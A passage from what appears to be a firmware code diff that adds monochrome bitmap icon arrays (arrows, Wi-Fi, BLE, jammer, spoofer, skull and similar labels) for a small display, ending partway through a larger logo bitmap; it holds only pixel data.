0x00, 0x00, 0x00, 0x00, 0x00 +}; +// 'DOWN', 16x16px +const unsigned char bitmap_icon_DOWN [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1f, 0xf8, 0x0f, 0xf0, 0x07, 0xe0, + 0x03, 0xc0, 0x01, 0x80, 0x01, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; +// 'UP', 16x16px +const unsigned char bitmap_icon_UP [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x80, 0x01, 0x80, 0x03, 0xc0, + 0x07, 0xe0, 0x0f, 0xf0, 0x1f, 0xf8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; +// 'RIGHT', 16x16px +const unsigned char bitmap_icon_RIGHT [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x06, 0x00, 0x07, 0x00, 0x07, 0x80, 0x07, 0xe0, + 0x07, 0xe0, 0x07, 0x80, 0x07, 0x00, 0x06, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; +// 'LEFT', 16x16px +const unsigned char bitmap_icon_LEFT [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x60, 0x00, 0xe0, 0x01, 0xe0, 0x07, 0xe0, + 0x07, 0xe0, 0x01, 0xe0, 0x00, 0xe0, 0x00, 0x60, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; +// 'nuke', 16x16px +const unsigned char bitmap_icon_nuke [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x08, 0x10, 0x18, 0x18, 0x3c, 0x3c, 0x3c, 0x3c, 0x7c, 0x3e, 0x79, 0x9e, + 0x01, 0x80, 0x00, 0x00, 0x00, 0x00, 0x03, 0xc0, 0x07, 0xe0, 0x07, 0xe0, 0x03, 0xc0, 0x00, 0x00 +}; +// 'led', 16x16px +const unsigned char bitmap_icon_led [] PROGMEM = { + 0x00, 0x00, 0x03, 0xc0, 0x04, 0x60, 0x09, 0xf0, 0x0b, 0xf0, 0x0b, 0xf0, 0x0b, 0xf0, 0x0f, 0xf0, + 0x00, 0x00, 0x1f, 0xf8, 0x1f, 0xf8, 0x00, 0x00, 0x06, 0x60, 0x06, 0x60, 0x06, 0x60, 0x00, 0x00 +}; +// 'floppy', 16x16px +const unsigned char bitmap_icon_floppy [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x37, 0xec, 0x30, 0x0c, 0x30, 0x0c, 0x30, 0x0c, 0x30, 0x0c, 0x30, 0x0c, + 0x3f, 0xfc, 0x3f, 0xfc, 0x3c, 0x0c, 0x3c, 0x6c, 0x3c, 0x6c, 0x3c, 0x0c, 0x00, 0x00, 0x00, 0x00 +}; +// 'antenna', 16x16px +const unsigned char bitmap_icon_antenna [] PROGMEM = { + 0x00, 0x00, 0x10, 0x08, 0x20, 0x04, 0x08, 0x10, 0x52, 0x2a, 0x54, 0x2a, 0x54, 0x2a, 0x52, 0x0a, + 0x08, 0x10, 0x20, 0x04, 0x11, 0x88, 0x01, 0x80, 0x01, 0x80, 0x01, 0x80, 0x01, 0x80, 0x00, 0x00 +}; +// 'flash', 16x16px +const unsigned char bitmap_icon_flash [] PROGMEM = { + 0x00, 0x00, 0x07, 0xe0, 0x07, 0xc0, 0x07, 0x80, 0x07, 0x80, 0x0f, 0x00, 0x0f, 0xe0, 0x0f, 0xc0, + 0x01, 0x80, 0x01, 0x80, 0x03, 0x00, 0x0f, 0xc0, 0x07, 0x80, 0x07, 0x00, 0x04, 0x00, 0x00, 0x00 +}; +// 'back', 16x16px +const unsigned char bitmap_icon_back [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0xf0, 0x01, 0xe0, 0x03, 0xc0, 0x07, 0x80, 0x0f, 0x00, + 0x0f, 0x00, 0x07, 0x80, 0x03, 0xc0, 0x01, 0xe0, 0x00, 0xf0, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00 +}; +// 'undo', 16x16px +const unsigned char bitmap_icon_undo [] PROGMEM = { + 0x00, 0x00, 0x01, 0x00, 0x03, 0x00, 0x07, 0xe0, 0x07, 0xe0, 0x03, 0x30, 0x09, 0x18, 0x18, 0x18, + 0x18, 0x18, 0x18, 0x18, 0x0c, 0x30, 0x07, 0xe0, 0x03, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; +// 'start', 16x16px +const unsigned char bitmap_icon_start [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x30, 0x3c, 0x38, 0x3c, 0x3c, 0x3c, 0x3e, 0x3c, 0x3f, 0x3c, 0x3f, 0xbc, + 0x3f, 0xbc, 0x3f, 0x3c, 0x3e, 0x3c, 0x3c, 0x3c, 0x38, 0x3c, 0x30, 0x3c, 0x00, 0x00, 0x00, 0x00 +}; +// 'power', 16x16px +const unsigned char bitmap_icon_power [] PROGMEM = { + 0x00, 0x00, 0x01, 0x80, 0x01, 0x80, 0x0d, 0xb0, 0x1d, 0xb8, 0x19, 0x98, 0x31, 0x8c, 0x30, 0x0c, + 0x30, 0x0c, 0x30, 0x0c, 0x18, 0x18, 0x1c, 0x38, 0x0f, 0xf0, 0x03, 0xc0, 0x00, 0x00, 0x00, 0x00 +}; +// 'sort_down_minus', 16x16px +const unsigned char bitmap_icon_sort_down_minus [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x0c, 0x00, 0x0c, 0xfc, 0x0c, 0xfc, 0x0c, 0x00, 0x0c, 0x00, + 0x0c, 0x00, 0x4c, 0x80, 0x6d, 0x80, 0x3f, 0x00, 0x1e, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x00 +}; +// 'sort_up_plus', 16x16px +const unsigned char bitmap_icon_sort_up_plus [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x1e, 0x00, 0x3f, 0x00, 0x6d, 0x80, 0x4c, 0x80, 0x0c, 0x00, + 0x0c, 0x30, 0x0c, 0x30, 0x0c, 0xfc, 0x0c, 0xfc, 0x0c, 0x30, 0x0c, 0x30, 0x00, 0x00, 0x00, 0x00 +}; +// 'recycle', 16x16px +const unsigned char bitmap_icon_recycle [] PROGMEM = { + 0x00, 0x00, 0x03, 0xc0, 0x02, 0x40, 0x1f, 0xf8, 0x0f, 0xf0, 0x1f, 0xf8, 0x12, 0x48, 0x12, 0x48, + 0x12, 0x48, 0x12, 0x48, 0x12, 0x48, 0x12, 0x48, 0x12, 0x48, 0x1a, 0x58, 0x0f, 0xf0, 0x00, 0x00 +}; +// 'nullsdcard', 16x16px +const unsigned char bitmap_icon_nullsdcard [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x0f, 0xf8, 0x1d, 0x58, 0x15, 0x58, 0x17, 0xf8, 0x1c, 0x38, 0x19, 0x98, + 0x1b, 0x98, 0x1e, 0x38, 0x1e, 0xf8, 0x1f, 0xf8, 0x1e, 0xf8, 0x1f, 0xf8, 0x00, 0x00, 0x00, 0x00 +}; +// 'temp', 16x16px +const unsigned char bitmap_icon_temp [] PROGMEM = { + 0x03, 0x80, 0x04, 0x40, 0x04, 0x5c, 0x04, 0x40, 0x04, 0x5c, 0x05, 0x40, 0x05, 0x5c, 0x05, 0x40, + 0x05, 0x5c, 0x05, 0x40, 0x09, 0x20, 0x0b, 0xa0, 0x0b, 0xa0, 0x04, 0x40, 0x03, 0x80, 0x00, 0x00 +}; +// 'sdcard', 16x16px +const unsigned char bitmap_icon_sdcard [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x0f, 0xf8, 0x1d, 0x58, 0x15, 0x58, 0x17, 0xf8, 0x1f, 0xf8, 0x1f, 0xf8, + 0x1f, 0xf8, 0x1f, 0xf8, 0x1f, 0xf8, 0x1f, 0xf8, 0x1f, 0xf8, 0x1f, 0xf8, 0x00, 0x00, 0x00, 0x00 +}; +// 'ble jammer', 16x16px +const unsigned char bitmap_icon_ble_jammer [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x18, 0xc0, 0x0c, 0xa0, 0x06, 0x20, 0x03, 0x20, 0x01, 0x80, + 0x01, 0xc0, 0x03, 0xe0, 0x06, 0xb0, 0x0c, 0xb8, 0x08, 0xcc, 0x00, 0x84, 0x00, 0x00, 0x00, 0x00 +}; +// 'icon_scanner', 16x16px +const unsigned char bitmap_icon_scanner [] PROGMEM = { + 0x00, 0x00, 0x00, 0x06, 0x00, 0x06, 0x00, 0x06, 0x00, 0x66, 0x00, 0x66, 0x00, 0x66, 0x00, 0x66, + 0x06, 0x66, 0x06, 0x66, 0x06, 0x66, 0x06, 0x66, 0x66, 0x66, 0x66, 0x66, 0x00, 0x00, 0x00, 0x00 +}; +// 'character', 16x16px +const unsigned char bitmap_icon_character [] PROGMEM = { + 0x03, 0xc0, 0x07, 0xe0, 0x05, 0xa0, 0x05, 0xa0, 0x07, 0xe0, 0x07, 0xe0, 0x03, 0xc0, 0x00, 0x00, + 0x01, 0x80, 0x0f, 0xf0, 0x3f, 0xfc, 0x7f, 0xfe, 0x7f, 0xfe, 0xff, 0xff, 0xef, 0xf7, 0xef, 0xf7 +}; +// 'apple', 16x16px +const unsigned char bitmap_icon_apple [] PROGMEM = { + 0x00, 0x00, 0x00, 0x60, 0x00, 0xe0, 0x00, 0xc0, 0x00, 0x00, 0x0e, 0x70, 0x1f, 0xf0, 0x1f, 0xe0, + 0x1f, 0xe0, 0x1f, 0xe0, 0x1f, 0xf0, 0x1f, 0xf8, 0x0f, 0xf8, 0x07, 0xf0, 0x00, 0x00, 0x00, 0x00 +}; +// 'brain', 16x16px +const unsigned char bitmap_icon_brain [] PROGMEM = { + 0x0e, 0x70, 0x1f, 0x78, 0x39, 0x7c, 0x3e, 0x7c, 0x0f, 0x7c, 0x77, 0x7e, 0xff, 0x4f, 0xff, 0x37, + 0xe7, 0x7f, 0xfb, 0x7f, 0x79, 0x7e, 0x36, 0x70, 0x3f, 0x6c, 0x3f, 0x78, 0x1f, 0x78, 0x0e, 0x70 +}; +// 'ble', 16x16px +const unsigned char bitmap_icon_ble [] PROGMEM = { + 0x00, 0x00, 0x01, 0x00, 0x01, 0x80, 0x01, 0x40, 0x01, 0x20, 0x09, 0x20, 0x05, 0x40, 0x03, 0x80, + 0x03, 0x80, 0x05, 0x40, 0x09, 0x20, 0x01, 0x20, 0x01, 0x40, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00 +}; +// 'jammer', 16x16px +const unsigned char bitmap_icon_jammer [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x1e, 0x00, 0x1f, 0x80, 0x01, 0xe0, 0x00, 0x70, 0x1e, 0x38, 0x1f, 0x18, + 0x03, 0x8c, 0x01, 0x8c, 0x38, 0xcc, 0x7c, 0xcc, 0x7c, 0xcc, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00 +}; +// 'follow', 16x16px +const unsigned char bitmap_icon_follow [] PROGMEM = { + 0x00, 0x3c, 0x00, 0x7e, 0x00, 0x7e, 0x00, 0x3c, 0x00, 0x18, 0x78, 0x3c, 0xfc, 0x7e, 0xfc, 0x7e, + 0x78, 0x00, 0x30, 0x18, 0x78, 0x3c, 0xfc, 0x7e, 0xfc, 0x18, 0xfd, 0xf8, 0xfd, 0xf0, 0x78, 0x00 +}; +// 'kill', 16x16px +const unsigned char bitmap_icon_kill [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x03, 0xc0, 0x0f, 0xf0, 0x0f, 0xf0, 0x1f, 0xf8, 0x31, 0x8c, 0x21, 0x84, + 0x21, 0x84, 0x21, 0x84, 0x33, 0xcc, 0x1e, 0x78, 0x0e, 0x70, 0x0d, 0xb0, 0x0d, 0xb0, 0x00, 0x00 +}; +// 'key', 16x16px +const unsigned char bitmap_icon_key [] PROGMEM = { + 0x07, 0xe0, 0x0f, 0xf0, 0x1c, 0x38, 0x18, 0x18, 0x18, 0x18, 0x1c, 0x38, 0x0f, 0xf0, 0x07, 0xe0, + 0x00, 0x00, 0x01, 0x80, 0x01, 0x80, 0x01, 0xb8, 0x01, 0xb8, 0x01, 0xa0, 0x01, 0xb8, 0x01, 0xb8 +}; +// 'dialog', 16x16px +const unsigned char bitmap_icon_dialog [] PROGMEM = { + 0x00, 0x00, 0x3f, 0xfc, 0x7f, 0xfe, 0xff, 0xff, 0xc0, 0x23, 0xff, 0xff, 0xc8, 0x03, 0xff, 0xff, + 0xc0, 0x43, 0xff, 0xff, 0xff, 0xff, 0x7f, 0xfe, 0x3f, 0xfc, 0x00, 0xe0, 0x00, 0x60, 0x00, 0x20 +}; +// 'question', 16x16px +const unsigned char bitmap_icon_question [] PROGMEM = { + 0x07, 0xe0, 0x1f, 0xf8, 0x3f, 0xfc, 0x7e, 0x7c, 0x7c, 0x3c, 0x38, 0x3c, 0x00, 0x7c, 0x03, 0xf8, + 0x07, 0xf0, 0x07, 0xc0, 0x03, 0x80, 0x00, 0x00, 0x03, 0x80, 0x07, 0xc0, 0x07, 0xc0, 0x03, 0x80 +}; +// 'save', 16x16px +const unsigned char bitmap_icon_save [] PROGMEM = { + 0x6f, 0xf6, 0xef, 0x97, 0xef, 0x97, 0xef, 0x95, 0xef, 0xf7, 0xf0, 0x0f, 0xff, 0xff, 0xc0, 0x03, + 0xdf, 0xfb, 0xd0, 0x0b, 0xdf, 0xfb, 0xd0, 0x0b, 0xdf, 0xfb, 0xc0, 0x03, 0xff, 0xff, 0x7f, 0xfe +}; +// 'spoofer', 16x16px +const unsigned char bitmap_icon_spoofer [] PROGMEM = { + 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x33, 0x80, 0x3a, 0xc8, 0x1e, 0x4c, 0x0f, 0x84, 0x07, 0x24, + 0x07, 0x24, 0x0f, 0x84, 0x1e, 0x4c, 0x3a, 0xc8, 0x33, 0x80, 0x03, 0x00, 0x02, 0x00, 0x00, 0x00 +}; +// 'setting', 16x16px +const unsigned char bitmap_icon_setting [] PROGMEM = { + 0x03, 0xc0, 0x13, 0xc8, 0x3b, 0xdc, 0x7f, 0xfe, 0x3f, 0xfc, 0x1c, 0x38, 0xf8, 0x1f, 0xf8, 0x1f, + 0xf8, 0x1f, 0xf8, 0x1f, 0x1c, 0x38, 0x3f, 0xfc, 0x7f, 0xfe, 0x3b, 0xdc, 0x13, 0xc8, 0x03, 0xc0 +}; +// 'skull', 16x16px +const unsigned char bitmap_icon_skull [] PROGMEM = { + 0x0f, 0xf0, 0x3f, 0xfc, 0x7f, 0xfe, 0x7f, 0xfe, 0xf3, 0xcf, 0xe1, 0x87, 0xe1, 0x87, 0xf3, 0xcf, + 0x7f, 0xfe, 0x3f, 0xfc, 0x3f, 0xfc, 0x3f, 0xfc, 0x0d, 0xb0, 0x0d, 0xb0, 0x0d, 0xb0, 0x00, 0x00 +}; +// 'stat', 16x16px +const unsigned char bitmap_icon_stat [] PROGMEM = { + 0x7f, 0xfe, 0xff, 0xff, 0xc0, 0x03, 0xc0, 0x83, 0xc0, 0x83, 0xc1, 0x47, 0xc1, 0x47, 0xd1, 0x2b, + 0xd2, 0x2b, 0xea, 0x13, 0xea, 0x13, 0xc4, 0x03, 0xc4, 0x03, 0xc0, 0x03, 0xff, 0xff, 0x7f, 0xfe +}; +// 'sword', 16x16px +const unsigned char bitmap_icon_sword [] PROGMEM = { + 0x00, 0x07, 0x00, 0x0f, 0x00, 0x1f, 0x00, 0x3e, 0x00, 0x7c, 0x00, 0xf8, 0x01, 0xf0, 0x33, 0xe0, + 0x3b, 0xc0, 0x1d, 0x80, 0x0e, 0x00, 0x17, 0x00, 0x3b, 0x80, 0xf1, 0x80, 0xe0, 0x00, 0xe0, 0x00 +}; +// 'signal', 16x16px +const unsigned char bitmap_icon_signal [] PROGMEM = { + 0x07, 0xe0, 0x1f, 0xf8, 0x7f, 0xfe, 0xff, 0xff, 0xff, 0xff, 0xf0, 0x0f, 0x40, 0x02, 0x0f, 0xf0, + 0x3f, 0xfc, 0x3f, 0xfc, 0x1c, 0x38, 0x10, 0x08, 0x03, 0xc0, 0x0f, 0xf0, 0x0e, 0x70, 0x04, 0x20 +}; +// 'analyzer', 16x16px +const unsigned char bitmap_icon_analyzer [] PROGMEM = { + 0x00, 0x00, 0x03, 0xf0, 0x00, 0x08, 0x01, 0xe4, 0x00, 0x12, 0x00, 0xca, 0x06, 0x2a, 0x07, 0x2a, + 0x07, 0x8a, 0x07, 0xc2, 0x07, 0xc0, 0x0a, 0x00, 0x1f, 0x00, 0x20, 0x80, 0x7f, 0xc0, 0x00, 0x00 +}; +// 'wifi', 16x16px +const unsigned char bitmap_icon_wifi [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x0f, 0xf0, 0x38, 0x1c, 0x60, 0x06, 0xc7, 0xe3, 0x1c, 0x38, 0x30, 0x0c, + 0x01, 0x80, 0x07, 0xe0, 0x0c, 0x30, 0x00, 0x00, 0x01, 0x80, 0x01, 0x80, 0x00, 0x00, 0x00, 0x00 +}; +// 'wifi2', 16x16px +const unsigned char bitmap_icon_wifi2 [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x03, 0x80, 0x0f, 0xe0, 0x38, 0x38, 0x60, 0x0c, 0xc3, 0x86, 0x0f, 0xe0, + 0x18, 0x30, 0x30, 0x18, 0x03, 0x80, 0x07, 0xc0, 0x07, 0xc0, 0x03, 0x80, 0x00, 0x00, 0x00, 0x00 +}; + +const unsigned char bitnull [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + +// 'Untitled-1', 150x150px +const unsigned char bitmap_icon_cifer [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x3f, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xf0, 0x00, 0x00, 0x07, 0xf8, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3c, 0x00, 0x00, 0x00, 0x00, 0x3f, 0x80, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, + 0x00, 0x03, 0xf0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7f, 0xff, 0x80, 0x00, 0x03, 0xe0, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1f, 0xff, 0xff, 0xfe, 0x00, 0x00, 0xf8, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xff, 0xff, 0xff, 0xff, + 0xe0, 0x00, 0x3c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xfe, + 0x00, 0x00, 0x1f, 0xfc, 0x00, 0x3c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x3f, 0xe0, 0x00, 0x00, 0x00, 0xff, 0x80, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xff, 0x00, 0x00, 0x00, 0x00, 0x1f, 0xe1, 0xf0, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0xf8, 0x00, 0x00, 0x00, 0x00, 0x03, 0xf3, 0xe0, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0f, 0xe0, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xff, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3f, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x3f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfc, + 0x00, 0x00, 0x1e, 0x07, 0xf8, 0x00, 0x0e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, + 0x00, 0x00, 0x7c, 0x00, 0x03, 0xfe, 0x07, 0xff, 0x80, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x80, 0x00, + 0x00, 0x3f, 0xf8, 0x00, 0x00, 0x3e, 0x00, 0x1f, 0xfe, 0x07, 0xff, 0xf0, 0x00, 0x00, 0x00, 0x00, + 0xff, 0xf0, 0x00, 0x00, 0xff, 0xfe, 0x00, 0x00, 0x1f, 0x00, 0x7f, 0xfe, 0x07, 0xff, 0xfc, 0x00, + 0x00, 0x00, 0x03, 0xff, 0xfc, 0x00, 0x03, 0xff, 0xff, 0x80, 0x00, 0x0f, 0x03, 0xff, 0xfe, 0x07, + 0xff, 0xff, 0x80, 0x00, 0x00, 0x07, 0xff, 0xfe, 0x00, 0x03, 0xff, 0xff, 0xc0, 0x00, 0x04, 0x07, + 0xff, 0xfe, 0x07, 0xff, 0xff, 0xc0, 0x00, 0x00, 0x1f, 0xff, 0xfe, 0x00, 0x00, 0xff, 0xff, 0xe0, + 0x00, 0x00, 0x1f, 0xff, 0xfe, 0x07, 0xff, 0xff, 0xf0, 0x00, 0x00, 0x1f, 0xff, 0xf8, 0x00, 0x00, + 0x3f, 0xff, 0xf0, 0x00, 0x00, 0x7f, 0xff, 0xfe, 0x07, 0xff, 0xff, 0xfc, 0x00, 0x00, 0x3f, 0xff, + 0xc0, 0x00, 0x00, 0x0f, 0xff, 0xf8, 0x00, 0x00, 0xff, 0xff, 0xfe, 0x07, 0xff, 0xff, 0xfe, 0x00, + 0x00, 0x7f, 0xff, 0x00, 0x00, 0x00, 0x03, 0xff, 0xf8, 0x00, 0x01, 0xff, 0xff, 0xfe, 0x07, 0xff, + 0xff, 0xff, 0x00, 0x00, 0x7f, 0xfc, 0x00, 0x00, 0x00, 0x00, 0xff, 0xf8, 0x00, 0x07, 0xff, 0xff, + 0xfe, 0x07, 0xff, 0xff, 0xff, 0xc0, 0x00, 0xff, 0xf0, 0x00, 0x00, 0x00, 0x00, 0x3f, 0xfc, 0x00, + 0x0f, 0xff, 0xff, 0xfe, 0x07, 0xff, 0xff, 0xff, 0xe0, 0x00, 0xff, 0xe0, 0x00, 0x00, 0x00, 0x00, + 0x3f, 0xfc, 0x00, 0x1f, 0xff, 0xff, 0xfe, 0x07, 0xff, 0xff, 0xff, 0xf0, 0x00, 0xff, 0xe0, 0x00, + 0x00, 0x00, 0x00, 0x3f, 0xfe, 0x00, 0x3f, 0xff, 0xff, 0xfe, 0x07, 0xff, 0xff, 0xff, 0xf8, 0x03, + 0xff, 0xe0, 0x00, 0x00, 0x00, 0x00, 0x3f, 0xff, 0x80, 0x7f, 0xff, 0xff, 0xfe, 0x07, 0xff, 0xff, + 0xff, 0xfc, 0x0f, 0xff, 0xe0, 0x00, 0x00, 0xc0, 0x00, 0x3f, 0xff, 0xe0, 0xff, 0xff, 0xff, 0xfe, + 0x07, 0xff, 0xff, 0xff, 0xfe, 0x3f, 0xff, 0xe0, 0x00, 0x1c, 0xf0, 0x00, 0x1f, 0xff, 0xf8, 0xff, + 0xff, 0xff, 0xfe, 0x07, 0xff, 0xff, 0xff, 0xfe, 0x3f, 0xff, 0xe0, 0x00, 0x7c, 0xf8, 0x00, 0x1f, + 0xff, 0xf9, 0xff, 0xff, 0xff, 0xfe, 0x07, 0xff, 0xff, 0xff, 0xff, 0x1f, 0xff, 0xe0, 0x01, 0xfc, + 0xfe, 0x00, 0x3f, 0xff, 0xf3, 0xff, 0xff, 0xff, 0xfe, 0x07, 0xff, 0xff, 0xff, 0xff, 0x9f, 0xff, + 0xf8, 0x07, 0xf8, 0x7f, 0x80, 0x7f, 0xff, 0xe7, 0xff, 0xff, 0xff, 0xfe, 0x07, 0xff, 0xff, 0xff, + 0xff, 0xcf, 0xff, 0xfe, 0x1f, 0xf8, 0x7f, 0xe1, 0xff, 0xff, 0xe7, 0xff, 0xff, 0xff, 0xfe, 0x07, + 0xff, 0xff, 0xff, 0xff, 0xcf, 0xff, 0xff, 0x7f, 0xf8, 0x7f, 0xff, 0xff, 0xff, 0xcf, 0xff, 0xff, + 0xff, 0xfe, 0x07, 0xff, 0xff, 0xff, 0xff, 0xe7, 0xff, 0xff, 0xff, 0xf0, 0x3f, 0xff, 0xff, 0xff, + 0xcf, 0xff, 0xff, 0xff, 0xfe, 0x07, 0xff, 0xff, 0xff, 0xff, 0xe3, 0xff, 0xff, 0xff, 0xf0, 0x3f, + 0xff, 0xff, 0xff, 0x9f, 0xff, 0xff, 0xff, 0xfe, 0x07, 0xff, 0xff, 0xff, 0xff, 0xf3, 0xff, 0xff, + 0xff, 0xe0, 0x1f, 0xff, 0xff, 0xff, 0x9f, 0xff, 0xff, 0xff, 0xfe, 0x07, 0xff, 0xff, 0xff, 0xff, + 0xf1, 0xff, 0xff, 0xff, 0xe0, 0x0f, 0xff, 0xff, 0xff, 0x3f, 0xff, 0xff, 0xff, 0xfe, 0x07, 0xff, + 0xff, 0xff, 0xff, 0xf9, 0xff, 0xff, 0xff, 0xc0, 0x07, 0xff, 0xff, 0xff, 0x3f, 0xff, 0xff, 0xff, + 0xfe, 0x07, 0xff, 0xff, 0xff, 0xff, 0xf9, 0xff, 0xff, 0xff, 0x80, 0x03, 0xff, 0xff, 0xfe, 0x7f, + 0xff, 0xff, 0xff, 0xfe, 0x07, 0xff, 0xff, 0xff, 0xff, 0xfc, 0xff, 0xff, 0xff, 0x00, 0x01, 0xff, + 0xff, 0xfe, 0x7f, 0xff, 